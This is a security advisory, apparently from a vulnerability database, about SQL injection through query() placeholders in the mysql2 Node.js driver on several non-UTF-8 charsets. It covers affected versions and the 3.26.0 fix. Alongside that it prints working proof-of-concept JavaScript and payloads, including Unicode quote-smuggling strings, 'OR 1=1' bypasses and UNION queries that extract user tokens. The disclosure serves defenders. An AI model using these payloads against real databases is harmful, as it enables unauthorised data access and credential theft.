
PEACH
Un cadre d’isolation des locataires
mysql2's query() escapes values while they are still JavaScript strings, and only afterwards converts the SQL to bytes in the connection charset. Whenever a character the escaper leaves alone turns into bytes the MySQL lexer reads differently, the escape stops working and a single ? placeholder becomes injectable — with no string concatenation anywhere, on fully self-consistent connections (no SET NAMES, no server forcing, no charset mismatch).
Multiple non-UTF-8 connection charsets are affected — each one listed below is verified end-to-end (3 rows = full-table injection + UNION exfiltration). Not every non-UTF-8 charset is affected: gbk, gb18030, euckr and the UTF-8 family are verified safe (see the bottom list).
Three independent mechanism classes:
| Class | Charsets | Mechanism | Example payload |
|---|---|---|---|
| 1. Single-byte 0x5C character | sjis, cp932, ujis | ¥ (U+00A5) encodes to a single byte 0x5C, pairs with the escape backslash and exposes the quote | ¥' OR 1=1 -- |
| 2. Low-byte truncation | latin1, ascii, binary | Node's Buffer encodings keep only the low byte of each character: Ŝ (U+015C) → 0x5C, ħ (U+0127) → 0x27 | ħ OR 1=1 -- (contains no ASCII quote at all) |
| 3. Encoder-superset pair splitting | big5, gb2312 | iconv-lite's codecs are Big5-HKSCS and GBK supersets; they emit lead bytes MySQL's strict lexer rejects, the server splits the pair, and the trail byte becomes a backslash or swallows the escape | Ě' OR 1=1 -- |
These are not exotic misconfigurations: latin1 is the default charset of MySQL 5.x (the largest legacy population), cp932 is the Windows Japanese default, big5/gb2312 cover Taiwanese / early Simplified-Chinese databases, and sjis/ujis are the correct choices for legacy Japanese systems. For every one of them, the affected connection charset is the correct configuration for that database. | |||
Affected code path: query() / client-side interpolation — including pools and the callback-compatible API — all mysql2 versions. | |||
NOT affected: execute() (server-side prepared statements — parameters are binary and never lexed; verified immune). See the full "Not affected" list at the bottom. |
mysql2 escapes ' as \' (bytes 5C 27) at the Unicode level, then encodes the whole string with the connection charset. In all three charsets, ¥ encodes to a single byte 0x5C. For the one-parameter input ¥':
escape (Unicode level): ¥' -> ¥\'
encode (sjis/cp932/ujis): ¥\' -> 5C 5C 27 (wire bytes)
server lexer: 5C 5C -> valid escape pair (a literal backslash)
27 -> quote EXPOSED — the string closes earlyThe remainder of the parameter executes as SQL: WHERE name = '\' OR 1=1 -- '.
const mysql = require('mysql2/promise');
(async () => {
// Correct configuration for a legacy Japanese DB (try each: 'sjis', 'cp932', 'ujis'):
const c = await mysql.createConnection({
host: '127.0.0.1', user: 'root', password: '', database: 't', charset: 'sjis',
});
// Parameterized query — no concatenation anywhere:
const [rows] = await c.query(
'SELECT id, name FROM users WHERE name = ?',
["\u00A5' OR 1=1 -- "] // ¥' OR 1=1 --
);
console.log(rows.length); // -> 3 (full table, includes admin)
const [exfil] = await c.query(
'SELECT id, name FROM users WHERE name = ?',
["\u00A5' UNION SELECT id, token FROM users -- "]
);
console.log(exfil); // -> all rows (UNION exfiltration)
await c.end();
})();Server general_log hex: WHERE name = '\\' OR 1=1 -- ' → bytes 27 5C 5C 27.
mysql2's encoding step (lib/parsers/string.js) routes charsets that Node natively supports (Buffer.isEncoding()) to Buffer.from(str, encoding). Node's latin1, ascii and binary encodings keep only the low byte of each UTF-16 code unit — silently, with no error:
| Input | UTF-16 code unit(s) | Wire bytes | Effect |
|---|---|---|---|
Ŝ (U+015C) | 015C | 5C | becomes a backslash — same injection as Class 1 |
ħ (U+0127) | 0127 | 27 | becomes a quote byte directly |
The injection surface is every character in the U+XX5C and U+XX27 ranges (256 code points each). The ħ form is particularly severe: the payload ħ OR 1=1 -- contains no ASCII quote at all, so quote-based WAF rules, blacklists and audit logs see nothing. |
const c = await mysql.createConnection({ host: '127.0.0.1', user: 'root',
password: '', database: 't', charset: 'latin1' }); // MySQL 5.x default charset
// Form A — truncated to 0x5C (same wire signature as ¥'):
await c.query('SELECT id, name FROM users WHERE name = ?', ["\u015C' OR 1=1 -- "]);
// -> 3 rows
// Form B — truncated to 0x27 (no ASCII quote in the payload):
await c.query('SELECT id, name FROM users WHERE name = ?', ["\u0127 OR 1=1 -- "]);
// -> 3 rowsWHERE name = '\\' OR 1=1 -- ' → 27 5C 5C 27 (identical to Class 1)WHERE name = '' OR 1=1 -- ' → 27 27 — the template's opening quote is immediately closed by the ħ-derived 0x27
Verified on latin1, ascii, binary — all 6 combinations (2 payload forms × 3 charsets) return the full table.For charsets Node does not natively support, mysql2 uses iconv-lite — but iconv-lite's big5 codec is actually Big5-HKSCS and its gb2312 codec is actually GBK, both supersets of the strict charsets MySQL's lexer implements. They happily encode characters into byte pairs whose lead byte MySQL rejects; the server then treats the lead byte as a standalone byte and the trail byte lands as a lone backslash (or swallows the escape):
| Input | iconv-lite emits | MySQL lexer | Result |
|---|---|---|---|
Ě (U+011A) | 88 5C | 0x88 is not a valid big5 lead → pair split | 5C lands as escape backslash |
ê (U+00EA) | 88 A7 | same split | A7 pairs with the following escape byte |
乗 (U+4E57) | 81 5C | 0x81 is not a valid gb2312 lead (gb2312 leads are A1–F7) | 5C lands as escape backslash |
const c = await mysql.createConnection({ host: '127.0.0.1', user: 'root',
password: '', database: 't', charset: 'big5' });
await c.query('SELECT id, name FROM users WHERE name = ?', ["\u011A' OR 1=1 -- "]);
// -> 3 rows (full table)
const c2 = await mysql.createConnection({ host: '127.0.0.1', user: 'root',
password: '', database: 't', charset: 'gb2312' });
await c2.query('SELECT id, name FROM users WHERE name = ?', ["\u4E57' OR 1=1 -- "]);
// -> 3 rows (full table)big5 + Ě': WHERE name = '…' → bytes 27 88 5C 5C 27 — the 88 is dropped as an invalid single byte, 5C 5C forms the escape pair, the trailing 27 is the exposed quote.
| charset | payload | result |
|---|---|---|
sjis | ¥' OR 1=1 -- | 3 rows + UNION exfil |
cp932 | ¥' OR 1=1 -- | 3 rows + UNION exfil |
ujis | ¥' OR 1=1 -- | 3 rows + UNION exfil |
latin1 | Ŝ' OR 1=1 -- | 3 rows |
latin1 | ħ OR 1=1 -- (no ASCII quote) | 3 rows |
ascii | Ŝ' / ħ forms | 3 rows |
binary | Ŝ' / ħ forms | 3 rows |
big5 | Ě' OR 1=1 -- | 3 rows |
gb2312 | 乗' (U+4E57) OR 1=1 -- | 3 rows |
gbk (control) | 乗' (U+4E57) — valid GBK pair | 0 rows (safe) |
gb18030 / euckr / utf8mb4 (control) | — | safe |
HTTP end-to-end (plain http + mysql2, charset:'sjis'): normal input → 1 row (business unaffected — invisible in production); ASCII ' OR 1=1 -- → 0 rows (placeholder protection works — proves this is not concatenation); ¥' OR 1=1 -- → 3 rows; UNION → full exfiltration. |
Any application connecting with one of the 8 affected charsets — for all of which the charset is the correct choice for that legacy database; latin1 additionally being the MySQL 5.x default — and passing user input through query() placeholders is injectable with a single parameter. UNION-based exfiltration confirmed end-to-end. The Class 2 ħ form additionally bypasses any quote-based input filtering.
Escape at the byte level after encoding, or validate that every non-ASCII character the escaper leaves alone will be read back by the server as that same single character (reject or substitute anything else). Oracle's Connector/J handles the ¥/₩ case explicitly in StringUtils.escapeString — precedent that this class of issue is the driver's responsibility and is fixable client-side. At minimum, document that query() interpolation is unsafe on the affected charsets and execute() must be used there.
Verified against MySQL 8.3 on mysql2 0.15.8, 1.0.0, 1.1.1, 1.1.2, 1.3.6, 1.6.1, 1.6.2, 2.0.0, 3.0.0 and 3.24.6. The latin1/ascii start version was bisected across every release from 1.1.2 to 1.3.6.
| Connection charset | First affected release |
|---|---|
sjis, cp932, big5, gb2312, binary | 1.0.0 |
latin1, ascii | 1.3.3 (1.3.2 is not affected) |
ujis | 1.6.1 (earlier releases could not encode ujis at all) |
Every release from 1.6.1 through 3.25.0 is affected on all eight charsets. 3.25.0 sends the same injectable bytes as 3.24.6 (for example 27 5C 5C 27 for ¥' on sjis). | |
Releases before 1.0.0 sent every query as UTF-8 regardless of the configured charset. On an sjis connection that mismatch is also injectable, for example with ぁ (E3 81 81): the stray 0x81 lead byte swallows the escape backslash. |
Fixed in 3.26.0. Before encoding, mysql2 now replaces with ? every character the server would not read back as that same single character. This applies to the SQL text of both COM_QUERY and COM_STMT_PREPARE, and matches how MySQL itself handles characters a charset cannot represent. For multi-byte charsets the check follows MySQL's own byte-layout rules (my_ismbchar in strings/ctype-*.cc), not iconv-lite's. UTF-8 connections are not scanned and behave exactly as before.
Behaviour change: on non-UTF-8 connections, characters the charset cannot represent now reach the server as ? instead of as incorrect bytes. For example, ¥ on an sjis connection used to be stored as a backslash; on big5 and gb2312, characters that exist only in Big5-HKSCS or GBK are now substituted.
If you cannot upgrade:
charset: 'utf8mb4' (the default) and let the server convert to the column charset.execute() for every statement that carries untrusted input. Prepared-statement parameters are sent in binary and never lexed as SQL.Source: NVD
Évaluation gratuite des vulnérabilités
Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.
Obtenez une démo personnalisée
"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."